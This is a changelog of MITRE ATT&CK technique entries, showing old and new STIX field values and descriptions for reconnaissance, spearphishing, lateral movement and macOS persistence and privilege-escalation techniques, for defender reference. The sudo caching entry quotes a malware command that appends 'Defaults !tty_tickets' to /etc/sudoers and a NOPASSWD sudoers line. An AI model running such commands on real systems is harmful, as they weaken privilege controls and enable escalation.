| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.374000+00:00 | 2021-04-15 03:52:41.104000+00:00 |
| description | Before compromising a victim, adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search website | t | 1 | Adversaries may search websites owned by the victim for info |
| > | s owned by the victim for information that can be used durin | > | rmation that can be used during targeting. Victim-owned webs | ||
| > | g targeting. Victim-owned websites may contain a variety of | > | ites may contain a variety of details, including names of de | ||
| > | details, including names of departments/divisions, physical | > | partments/divisions, physical locations, and data about key | ||
| > | locations, and data about key employees such as names, roles | > | employees such as names, roles, and contact info (ex: [Email | ||
| > | , and contact info (ex: [Email Addresses](https://attack.mit | > | Addresses](https://attack.mitre.org/techniques/T1589/002)). | ||
| > | re.org/techniques/T1589/002)). These sites may also have det | > | These sites may also have details highlighting business ope | ||
| > | ails highlighting business operations and relationships.(Cit | > | rations and relationships.(Citation: Comparitech Leak) Adve | ||
| > | ation: Comparitech Leak) Adversaries may search victim-owne | > | rsaries may search victim-owned websites to gather actionabl | ||
| > | d websites to gather actionable information. Information fro | > | e information. Information from these sources may reveal opp | ||
| > | m these sources may reveal opportunities for other forms of | > | ortunities for other forms of reconnaissance (ex: [Phishing | ||
| > | reconnaissance (ex: [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598) | ||
| > | k.mitre.org/techniques/T1598) or [Search Open Technical Data | > | or [Search Open Technical Databases](https://attack.mitre.or | ||
| > | bases](https://attack.mitre.org/techniques/T1596)), establis | > | g/techniques/T1596)), establishing operational resources (ex | ||
| > | hing operational resources (ex: [Establish Accounts](https:/ | > | : [Establish Accounts](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1585) or [Compromise Accounts] | > | 1585) or [Compromise Accounts](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1586)), and/or initial | > | niques/T1586)), and/or initial access (ex: [Trusted Relation | ||
| > | access (ex: [Trusted Relationship](https://attack.mitre.org | > | ship](https://attack.mitre.org/techniques/T1199) or [Phishin | ||
| > | /techniques/T1199) or [Phishing](https://attack.mitre.org/te | > | g](https://attack.mitre.org/techniques/T1566)). | ||
| > | chniques/T1566)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:23:37.282000+00:00 | 2021-04-15 03:53:33.023000+00:00 |
| description | Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:41:00.821000+00:00 | 2021-06-08 17:10:31.187000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_detection | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search social | t | 1 | Adversaries may search social media for information about vi |
| > | media for information about victims that can be used during | > | ctims that can be used during targeting. Social media sites | ||
| > | targeting. Social media sites may contain various informatio | > | may contain various information about a victim organization, | ||
| > | n about a victim organization, such as business announcement | > | such as business announcements as well as information about | ||
| > | s as well as information about the roles, locations, and int | > | the roles, locations, and interests of staff. Adversaries | ||
| > | erests of staff. Adversaries may search in different social | > | may search in different social media sites depending on what | ||
| > | media sites depending on what information they seek to gath | > | information they seek to gather. Threat actors may passivel | ||
| > | er. Threat actors may passively harvest data from these site | > | y harvest data from these sites, as well as use information | ||
| > | s, as well as use information gathered to create fake profil | > | gathered to create fake profiles/groups to elicit victim’s i | ||
| > | es/groups to elicit victim’s into revealing specific informa | > | nto revealing specific information (i.e. [Spearphishing Serv | ||
| > | tion (i.e. [Spearphishing Service](https://attack.mitre.org/ | > | ice](https://attack.mitre.org/techniques/T1598/001)).(Citati | ||
| > | techniques/T1598/001)).(Citation: Cyware Social Media) Infor | > | on: Cyware Social Media) Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Tech | > | es/T1598) or [Search Open Technical Databases](https://attac | ||
| > | nical Databases](https://attack.mitre.org/techniques/T1596)) | > | k.mitre.org/techniques/T1596)), establishing operational res | ||
| > | , establishing operational resources (ex: [Establish Account | > | ources (ex: [Establish Accounts](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1585) or [Compromise | > | chniques/T1585) or [Compromise Accounts](https://attack.mitr | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)), and/ | > | e.org/techniques/T1586)), and/or initial access (ex: [Spearp | ||
| > | or initial access (ex: [Spearphishing via Service](https://a | > | hishing via Service](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1566/003)). | > | 66/003)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.235000+00:00 | 2021-04-15 03:52:40.958000+00:00 |
| description | Before compromising a victim, adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access to and use third-party software | t | 1 | Adversaries may gain access to and use third-party software |
| > | suites installed within an enterprise network, such as admin | > | suites installed within an enterprise network, such as admin | ||
| > | istration, monitoring, and deployment systems, to move later | > | istration, monitoring, and deployment systems, to move later | ||
| > | ally through the network. Third-party applications and softw | > | ally through the network. Third-party applications and softw | ||
| > | are deployment systems may be in use in the network environm | > | are deployment systems may be in use in the network environm | ||
| > | ent for administration purposes (e.g., SCCM, VNC, HBSS, Alti | > | ent for administration purposes (e.g., SCCM, HBSS, Altiris, | ||
| > | ris, etc.). Access to a third-party network-wide or enterpr | > | etc.). Access to a third-party network-wide or enterprise-w | ||
| > | ise-wide software system may enable an adversary to have rem | > | ide software system may enable an adversary to have remote c | ||
| > | ote code execution on all systems that are connected to such | > | ode execution on all systems that are connected to such a sy | ||
| > | a system. The access may be used to laterally move to other | > | stem. The access may be used to laterally move to other syst | ||
| > | systems, gather information, or cause a specific effect, su | > | ems, gather information, or cause a specific effect, such as | ||
| > | ch as wiping the hard drives on all endpoints. The permissi | > | wiping the hard drives on all endpoints. The permissions r | ||
| > | ons required for this action vary by system configuration; l | > | equired for this action vary by system configuration; local | ||
| > | ocal credentials may be sufficient with direct access to the | > | credentials may be sufficient with direct access to the thir | ||
| > | third-party system, or specific domain credentials may be r | > | d-party system, or specific domain credentials may be requir | ||
| > | equired. However, the system may require an administrative a | > | ed. However, the system may require an administrative accoun | ||
| > | ccount to log in or to perform it's intended purpose. | > | t to log in or to perform it's intended purpose. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:27:01.403000+00:00 | 2020-12-11 17:00:00.938000+00:00 |
| description | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Binary file metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages via third-party |
| > | hing messages via third-party services to elicit sensitive i | > | services to elicit sensitive information that can be used du | ||
| > | nformation that can be used during targeting. Spearphishing | > | ring targeting. Spearphishing for information is an attempt | ||
| > | for information is an attempt to trick targets into divulgin | > | to trick targets into divulging information, frequently cred | ||
| > | g information, frequently credentials or other actionable in | > | entials or other actionable information. Spearphishing for i | ||
| > | formation. Spearphishing for information frequently involves | > | nformation frequently involves social engineering techniques | ||
| > | social engineering techniques, such as posing as a source w | > | , such as posing as a source with a reason to collect inform | ||
| > | ith a reason to collect information (ex: [Establish Accounts | > | ation (ex: [Establish Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1585) or [Compromise | > | hniques/T1585) or [Compromise Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)) and/or | > | .org/techniques/T1586)) and/or sending multiple, seemingly u | ||
| > | sending multiple, seemingly urgent messages. All forms of | > | rgent messages. All forms of spearphishing are electronical | ||
| > | spearphishing are electronically delivered social engineerin | > | ly delivered social engineering targeted at a specific indiv | ||
| > | g targeted at a specific individual, company, or industry. I | > | idual, company, or industry. In this scenario, adversaries s | ||
| > | n this scenario, adversaries send messages through various s | > | end messages through various social media services, personal | ||
| > | ocial media services, personal webmail, and other non-enterp | > | webmail, and other non-enterprise controlled services.(Cita | ||
| > | rise controlled services.(Citation: ThreatPost Social Media | > | tion: ThreatPost Social Media Phishing) These services are m | ||
| > | Phishing) These services are more likely to have a less-stri | > | ore likely to have a less-strict security policy than an ent | ||
| > | ct security policy than an enterprise. As with most kinds of | > | erprise. As with most kinds of spearphishing, the goal is to | ||
| > | spearphishing, the goal is to generate rapport with the tar | > | generate rapport with the target or get the target's intere | ||
| > | get or get the target's interest in some way. Adversaries ma | > | st in some way. Adversaries may create fake social media acc | ||
| > | y create fake social media accounts and message employees fo | > | ounts and message employees for potential job opportunities. | ||
| > | r potential job opportunities. Doing so allows a plausible r | > | Doing so allows a plausible reason for asking about service | ||
| > | eason for asking about services, policies, and information a | > | s, policies, and information about their environment. Advers | ||
| > | bout their environment. Adversaries may also use information | > | aries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Social Media](ht | > | efforts (ex: [Social Media](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1593/001) or [Search Vict | > | ues/T1593/001) or [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)) to craft persuasive and bel | ||
| > | )) to craft persuasive and believable lures. | > | ievable lures. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.093000+00:00 | 2021-04-15 03:43:12.843000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use startup items automatically executed at | t | 1 | Adversaries may use startup items automatically executed at |
| > | boot initialization to establish persistence. Startup items | > | boot initialization to establish persistence. Startup items | ||
| > | execute during the final phase of the boot process and conta | > | execute during the final phase of the boot process and conta | ||
| > | in shell scripts or other executable files along with config | > | in shell scripts or other executable files along with config | ||
| > | uration information used by the system to determine the exec | > | uration information used by the system to determine the exec | ||
| > | ution order for all startup items. (Citation: Startup Items) | > | ution order for all startup items.(Citation: Startup Items) | ||
| > | This is technically a deprecated technology (superseded by | > | This is technically a deprecated technology (superseded by | ||
| > | [Launch Daemon](https://attack.mitre.org/techniques/T1543/0 | > | [Launch Daemon](https://attack.mitre.org/techniques/T1543/00 | ||
| > | 04)), and thus the appropriate folder, <code>/Library/Startu | > | 4)), and thus the appropriate folder, <code>/Library/Startup | ||
| > | pItems</code> isn’t guaranteed to exist on the system by def | > | Items</code> isn’t guaranteed to exist on the system by defa | ||
| > | ault, but does appear to exist by default on macOS Sierra. A | > | ult, but does appear to exist by default on macOS Sierra. A | ||
| > | startup item is a directory whose executable and configurat | > | startup item is a directory whose executable and configurati | ||
| > | ion property list (plist), <code>StartupParameters.plist</co | > | on property list (plist), <code>StartupParameters.plist</cod | ||
| > | de>, reside in the top-level directory. An adversary can c | > | e>, reside in the top-level directory. An adversary can cr | ||
| > | reate the appropriate folders/files in the StartupItems dire | > | eate the appropriate folders/files in the StartupItems direc | ||
| > | ctory to register their own persistence mechanism (Citation: | > | tory to register their own persistence mechanism.(Citation: | ||
| > | Methods of Mac Malware Persistence). Additionally, since St | > | Methods of Mac Malware Persistence) Additionally, since Star | ||
| > | artupItems run during the bootup phase of macOS, they will r | > | tupItems run during the bootup phase of macOS, they will run | ||
| > | un as the elevated root user. | > | as the elevated root user. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 23:47:39.124000+00:00 | 2022-04-20 16:43:21.560000+00:00 |
| description | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)
This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)
This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform sudo caching and/or use the suoders | t | 1 | Adversaries may perform sudo caching and/or use the sudoers |
| > | file to elevate privileges. Adversaries may do this to execu | > | file to elevate privileges. Adversaries may do this to execu | ||
| > | te commands as other users or spawn processes with higher pr | > | te commands as other users or spawn processes with higher pr | ||
| > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | ||
| > | eferred to as "superuser do") allows users to perform comman | > | eferred to as "superuser do") allows users to perform comman | ||
| > | ds from terminals with elevated privileges and to control wh | > | ds from terminals with elevated privileges and to control wh | ||
| > | o can perform these commands on the system. The <code>sudo</ | > | o can perform these commands on the system. The <code>sudo</ | ||
| > | code> command "allows a system administrator to delegate aut | > | code> command "allows a system administrator to delegate aut | ||
| > | hority to give certain users (or groups of users) the abilit | > | hority to give certain users (or groups of users) the abilit | ||
| > | y to run some (or all) commands as root or another user whil | > | y to run some (or all) commands as root or another user whil | ||
| > | e providing an audit trail of the commands and their argumen | > | e providing an audit trail of the commands and their argumen | ||
| > | ts."(Citation: sudo man page 2018) Since sudo was made for t | > | ts."(Citation: sudo man page 2018) Since sudo was made for t | ||
| > | he system administrator, it has some useful configuration fe | > | he system administrator, it has some useful configuration fe | ||
| > | atures such as a <code>timestamp_timeout</code>, which is th | > | atures such as a <code>timestamp_timeout</code>, which is th | ||
| > | e amount of time in minutes between instances of <code>sudo< | > | e amount of time in minutes between instances of <code>sudo< | ||
| > | /code> before it will re-prompt for a password. This is beca | > | /code> before it will re-prompt for a password. This is beca | ||
| > | use <code>sudo</code> has the ability to cache credentials f | > | use <code>sudo</code> has the ability to cache credentials f | ||
| > | or a period of time. Sudo creates (or touches) a file at <co | > | or a period of time. Sudo creates (or touches) a file at <co | ||
| > | de>/var/db/sudo</code> with a timestamp of when sudo was las | > | de>/var/db/sudo</code> with a timestamp of when sudo was las | ||
| > | t run to determine this timeout. Additionally, there is a <c | > | t run to determine this timeout. Additionally, there is a <c | ||
| > | ode>tty_tickets</code> variable that treats each new tty (te | > | ode>tty_tickets</code> variable that treats each new tty (te | ||
| > | rminal session) in isolation. This means that, for example, | > | rminal session) in isolation. This means that, for example, | ||
| > | the sudo timeout of one tty will not affect another tty (you | > | the sudo timeout of one tty will not affect another tty (you | ||
| > | will have to type the password again). The sudoers file, < | > | will have to type the password again). The sudoers file, < | ||
| > | code>/etc/sudoers</code>, describes which users can run whic | > | code>/etc/sudoers</code>, describes which users can run whic | ||
| > | h commands and from which terminals. This also describes whi | > | h commands and from which terminals. This also describes whi | ||
| > | ch commands users can run as other users or groups. This pro | > | ch commands users can run as other users or groups. This pro | ||
| > | vides the principle of least privilege such that users are r | > | vides the principle of least privilege such that users are r | ||
| > | unning in their lowest possible permissions for most of the | > | unning in their lowest possible permissions for most of the | ||
| > | time and only elevate to other users or permissions as neede | > | time and only elevate to other users or permissions as neede | ||
| > | d, typically by prompting for a password. However, the sudoe | > | d, typically by prompting for a password. However, the sudoe | ||
| > | rs file can also specify when to not prompt users for passwo | > | rs file can also specify when to not prompt users for passwo | ||
| > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | ||
| > | de> (Citation: OSX.Dok Malware). Elevated privileges are req | > | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ | ||
| > | uired to edit this file though. Adversaries can also abuse | > | ired to edit this file though. Adversaries can also abuse p | ||
| > | poor configurations of these mechanisms to escalate privileg | > | oor configurations of these mechanisms to escalate privilege | ||
| > | es without needing the user's password. For example, <code>/ | > | s without needing the user's password. For example, <code>/v | ||
| > | var/db/sudo</code>'s timestamp can be monitored to see if it | > | ar/db/sudo</code>'s timestamp can be monitored to see if it | ||
| > | falls within the <code>timestamp_timeout</code> range. If i | > | falls within the <code>timestamp_timeout</code> range. If it | ||
| > | t does, then malware can execute sudo commands without needi | > | does, then malware can execute sudo commands without needin | ||
| > | ng to supply the user's password. Additional, if <code>tty_t | > | g to supply the user's password. Additional, if <code>tty_ti | ||
| > | ickets</code> is disabled, adversaries can do this from any | > | ckets</code> is disabled, adversaries can do this from any t | ||
| > | tty for that user. In the wild, malware has disabled <code> | > | ty for that user. In the wild, malware has disabled <code>t | ||
| > | tty_tickets</code> to potentially make scripting easier by i | > | ty_tickets</code> to potentially make scripting easier by is | ||
| > | ssuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers< | > | suing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</ | ||
| > | /code> (Citation: cybereason osx proton). In order for this | > | code>.(Citation: cybereason osx proton) In order for this ch | ||
| > | change to be reflected, the malware also issued <code>killal | > | ange to be reflected, the malware also issued <code>killall | ||
| > | l Terminal</code>. As of macOS Sierra, the sudoers file has | > | Terminal</code>. As of macOS Sierra, the sudoers file has <c | ||
| > | <code>tty_tickets</code> enabled by default. | > | ode>tty_tickets</code> enabled by default. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
